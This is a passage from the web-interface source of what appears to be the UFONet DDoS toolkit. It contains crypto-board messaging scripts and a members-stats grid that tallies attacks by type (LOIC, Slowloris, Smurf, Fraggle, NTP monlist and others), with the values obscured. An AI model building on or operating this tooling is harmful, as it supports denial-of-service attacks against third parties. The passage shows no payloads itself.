  787. }
  788. function OptionsCheck() {
  789. if (document.getElementById('read').checked) {
  790. document.getElementById('board_read').style.display = 'block';
  791. document.getElementById('board_send').style.display = 'none';
  792. document.getElementById('board_warning').style.display = 'none';
  793. }
  794. else if(document.getElementById('write').checked) {
  795. document.getElementById('board_send').style.display = 'block';
  796. document.getElementById('board_warning').style.display = 'block';
  797. document.getElementById('board_read').style.display = 'none';
  798. }
  799. }
  800. function Sync_panel(){
  801. document.getElementById("sync_panel_block").style.display = "block";
  802. }
  803. function SyncBoard(){
  804. document.getElementById('nb1').style.display = 'none';
  805. board_source=document.getElementById("board_source").value
  806. if(board_source == "") {
  807. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  808. return
  809. }else{
  810. params="board_source="+escape(board_source)
  811. runCommandX("cmd_sync_board",params)
  812. setTimeout("location.reload()", 10000)
  813. }
  814. }
  815. </script>
  816. <script language="javascript">
  817. function SendMessage() {
  818. board_source=document.getElementById("board_source_send").value
  819. board_key=document.getElementById("board_key").value
  820. stream_txt=document.getElementById("stream_txt").value
  821. board_selector=document.getElementById("board_selector");
  822. board_topic = board_selector.options[board_selector.selectedIndex].value;
  823. if(board_key == "") {
  824. board_key='"""+str(self.crypto_key)+"""';
  825. }else{
  826. if(stream_txt == "") {
  827. window.alert("You need to enter a message! (~ 1-140 characters)");
  828. return
  829. }else{
  830. if(board_source == "") {
  831. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  832. return
  833. }else{
  834. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  835. runCommandX("cmd_send_message_board",params)
  836. setTimeout("location.reload()", 10000)
  837. }
  838. }
  839. }
  840. }
  841. </script>
  842. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  843. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  844. <br>
  845. <center>
  846. <table cellpadding="5" cellspacing="5"><tr>
  847. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Crypto-Board!. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
  848. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  849. </td></tr></table></tr></table>
  850. <hr><br>"""+board_panel+"""
  851. """ + self.pages["/footer"]
  852. def generate_grid(self):
  853. with open(self.grid_file) as f:
  854. for line in f:
  855. line = line.strip()
  856. f.close()
  857. mothership_members = 0 # mothership_members stats bonus
  858. unknown_members = 0 # unknown (or non decrypted) mothership members
  859. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>FRAGGLE:</u></td><td align='center'><u>SNIPER:</u></td><td align='center'><u>UFOACK:</u></td><td align='center'><u>UFORST:</u></td><td align='center'><u>DROPER:</u></td><td align='center'><u>OVERLAP:</u></td><td align='center'><u>PINGER:</u></td><td align='center'><u>UFOUDP:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  860. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  861. if grid_msg_sep in m:
  862. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  863. m = m.split(grid_msg_sep)
  864. mothership_members = mothership_members + 1
  865. grid_nickname = m[0][0:12]
  866. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  867. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  868. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  869. grid_totalchargo = m[2][0:4] # total chargo
  870. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  871. grid_dorking = m[3][0:4] # dorking
  872. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  873. grid_transferred = m[4][0:4] # transferred
  874. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  875. grid_maxchargo = m[5][0:4] # maxchargo
  876. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  877. grid_missions = m[6][0:4] # missions
  878. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  879. grid_attacks = m[7][0:4] # attacks
  880. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  881. grid_loic = m[8][0:4] # loic
  882. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  883. if version > 18: # v1.5
  884. grid_loris = m[9][0:4] # loris
  885. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  886. grid_ufosyn = m[10][0:4] # ufosyn
  887. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  888. grid_spray = m[11][0:4] # spray
  889. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  890. grid_smurf = m[12][0:4] # smurf
  891. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  892. grid_xmas = m[13][0:4] # xmas
  893. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  894. grid_nuke = m[14][0:4] # nuke
  895. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  896. grid_tachyon = m[15][0:4] # tachyon
  897. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  898. grid_monlist = m[16][0:4] # monlist
  899. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  900. grid_fraggle = m[17][0:4] # fraggle
  901. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  902. grid_sniper = m[18][0:4] # sniper
  903. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  904. grid_ufoack = m[19][0:4] # ufoack
  905. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  906. grid_uforst = m[20][0:4] # uforst
  907. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  908. grid_droper = m[21][0:4] # droper
  909. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  910. grid_overlap = m[22][0:4] # overlap
  911. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  912. grid_pinger = m[23][0:4] # pinger
  913. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  914. grid_ufoudp = m[24][0:4] # ufoudp
  915. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  916. try:
  917. grid_contact = "<a href=javascript:alert('"+str(m[25][0:12])+"');>View</a>" # js contact view (obfuscation)
  918. except:
  919. grid_contact= "invalid"
  920. try:
  921. grid_id = m[26] # id (plain id)
  922. except:
  923. grid_id = "invalid!"
  924. if version == 18: # v1.4
  925. grid_loris = m[9][0:4] # loris
  926. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  927. grid_ufosyn = m[10][0:4] # ufosyn
  928. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  929. grid_spray = m[11][0:4] # spray
  930. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  931. grid_smurf = m[12][0:4] # smurf
  932. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  933. grid_xmas = m[13][0:4] # xmas
  934. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  935. grid_nuke = m[14][0:4] # nuke
  936. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  937. grid_tachyon = m[15][0:4] # tachyon
  938. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  939. grid_monlist = m[16][0:4] # monlist
  940. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  941. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  942. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  943. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  944. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  945. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  946. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  947. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  948. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  949. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  950. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  951. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  952. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  953. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  954. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  955. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  956. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  957. try:
  958. grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
  959. except:
  960. grid_contact= "invalid"
  961. try:
  962. grid_id = m[18] # id (plain id)
  963. except:
  964. grid_id = "invalid!"
  965. if version == 17: # v1.3
  966. grid_loris = m[9][0:4] # loris
  967. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  968. grid_ufosyn = m[10][0:4] # ufosyn
  969. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  970. grid_spray = m[11][0:4] # spray
  971. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  972. grid_smurf = m[12][0:4] # smurf
  973. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  974. grid_xmas = m[13][0:4] # xmas
  975. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  976. grid_nuke = m[14][0:4] # nuke
  977. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  978. grid_tachyon = m[15][0:4] # tachyon
  979. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  980. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  981. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  982. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  983. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  984. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  985. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  986. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  987. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  988. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  989. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  990. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  991. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  992. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  993. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  994. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  995. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  996. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  997. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  998. try:
  999. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  1000. except:
  1001. grid_contact= "invalid"
  1002. try:
  1003. grid_id = m[17] # id (plain id)
  1004. except:
  1005. grid_id = "invalid!"
  1006. elif version == 16: # v1.2.1
  1007. grid_loris = m[9][0:4] # loris
  1008. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1009. grid_ufosyn = m[10][0:4] # ufosyn
  1010. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1011. grid_spray = m[11][0:4] # spray
  1012. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1013. grid_smurf = m[12][0:4] # smurf
  1014. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1015. grid_xmas = m[13][0:4] # xmas
  1016. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1017. grid_nuke = m[14][0:4] # nuke
  1018. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1019. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1020. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1021. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1022. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1023. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1024. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1025. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1026. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1027. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1028. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1029. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1030. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1031. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1032. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1033. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1034. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1035. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1036. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1037. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1038. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1039. try:
  1040. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  1041. except:
  1042. grid_contact= "invalid"
  1043. try:
  1044. grid_id = m[16] # id (plain id)
  1045. except:
  1046. grid_id = "invalid!"
  1047. elif version == 15: # v1.2
  1048. grid_loris = m[9][0:4] # loris
  1049. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1050. grid_ufosyn = m[10][0:4] # ufosyn
  1051. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1052. grid_spray = m[11][0:4] # spray
  1053. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1054. grid_smurf = m[12][0:4] # smurf
  1055. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1056. grid_xmas = m[13][0:4] # xmas
  1057. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1058. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1059. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1060. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1061. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1062. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1063. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1064. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1065. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1066. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1067. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1068. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1069. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1070. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1071. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1072. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1073. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1074. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1075. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1076. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1077. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1078. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1079. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1080. try:
  1081. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  1082. except:
  1083. grid_contact= "invalid"
  1084. try:
  1085. grid_id = m[15] # id (plain id)
  1086. except:
  1087. grid_id = "invalid!"
  1088. elif version == 12: # v1.1
  1089. grid_loris = m[9][0:4] # loris
  1090. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1091. grid_ufosyn = m[10][0:4] # ufosyn
  1092. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1093. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1094. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1095. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1096. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1097. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1098. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1099. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1100. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1101. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1102. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1103. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1104. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1105. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1106. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1107. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1108. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1109. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1110. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1111. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1112. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1113. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1114. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1115. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1116. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1117. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1118. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1119. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1120. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1121. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  1122. try:
  1123. grid_id = m[12] # id (plain id)
  1124. except:
  1125. grid_id = "invalid!"
  1126. elif version == 11: # v1.0
  1127. grid_loris = m[9][0:4] # loris
  1128. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1129. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1130. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1131. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1132. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1133. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1134. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1135. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1136. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1137. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1138. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1139. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1140. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1141. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1142. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1143. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1144. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1145. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
